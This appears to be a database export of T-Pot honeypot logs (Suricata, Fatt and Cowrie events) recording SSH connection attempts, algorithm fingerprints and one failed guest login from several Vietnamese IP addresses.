26843	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:13:07.240241+03	2021-09-20 14:15:13.799678+03	{"_id": "3gboAnwBvYTbRNuE3iOw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 684166492621080, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 45716, "dest_port": 22, "timestamp": "2021-09-20T11:13:07.240241Z", "@timestamp": "2021-09-20T11:13:07.240Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
26844	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:13:07.447666+03	2021-09-20 14:15:13.800646+03	{"_id": "4AboAnwBvYTbRNuE3iOw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1012044295975334, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 43316, "dest_port": 22, "timestamp": "2021-09-20T11:13:07.447666Z", "@timestamp": "2021-09-20T11:13:07.447Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26845	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:07.437122+03	2021-09-20 14:15:13.802647+03	{"_id": "4gboAnwBvYTbRNuE3yPb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 46682, "timestamp": "2021-09-20T11:13:07.437122", "@timestamp": "2021-09-20T11:13:07.437Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26846	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:13:07.43785+03	2021-09-20 14:15:13.803674+03	{"_id": "4wboAnwBvYTbRNuE3yPb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 46682, "dest_port": 22, "timestamp": "2021-09-20T11:13:07.437850", "@timestamp": "2021-09-20T11:13:07.437Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26847	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:13:08.973376+03	2021-09-20 14:15:13.804681+03	{"_id": "9wboAnwBvYTbRNuE4yPF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 34834, "dest_port": 22, "timestamp": "2021-09-20T11:13:08.973376", "@timestamp": "2021-09-20T11:13:08.973Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
26848	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:13:08.685039+03	2021-09-20 14:15:13.806647+03	{"_id": "-AboAnwBvYTbRNuE5CN0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [guest1/guest1] failed", "session": "db1452d9c58d", "@version": "1", "password": "guest1", "username": "guest1", "timestamp": "2021-09-20T11:13:08.685039Z", "@timestamp": "2021-09-20T11:13:08.685Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26849	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:10.58177+03	2021-09-20 14:15:13.807675+03	{"_id": "AAboAnwBvYTbRNuE6CRd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "517e1283a7dc", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:13:10.581770Z", "@timestamp": "2021-09-20T11:13:10.581Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26850	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:13:10.859557+03	2021-09-20 14:15:13.808674+03	{"_id": "DwboAnwBvYTbRNuE6ySX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 59798, "dest_port": 22, "timestamp": "2021-09-20T11:13:10.859557", "@timestamp": "2021-09-20T11:13:10.859Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26851	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:11.153611+03	2021-09-20 14:15:13.809674+03	{"_id": "EAboAnwBvYTbRNuE6ySX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 46638, "timestamp": "2021-09-20T11:13:11.153611", "@timestamp": "2021-09-20T11:13:11.153Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26852	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:10.875508+03	2021-09-20 14:15:13.811647+03	{"_id": "EQboAnwBvYTbRNuE7CRH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:46638 (192.168.176.2:22) [session: d744bcfcb525]", "session": "d744bcfcb525", "@version": "1", "protocol": "ssh", "src_port": 46638, "dest_port": 22, "timestamp": "2021-09-20T11:13:10.875508Z", "@timestamp": "2021-09-20T11:13:10.875Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
26853	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:11.619853+03	2021-09-20 14:15:13.812678+03	{"_id": "EgboAnwBvYTbRNuE7CRH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:49414 (192.168.176.2:22) [session: e40157bc7392]", "session": "e40157bc7392", "@version": "1", "protocol": "ssh", "src_port": 49414, "dest_port": 22, "timestamp": "2021-09-20T11:13:11.619853Z", "@timestamp": "2021-09-20T11:13:11.619Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
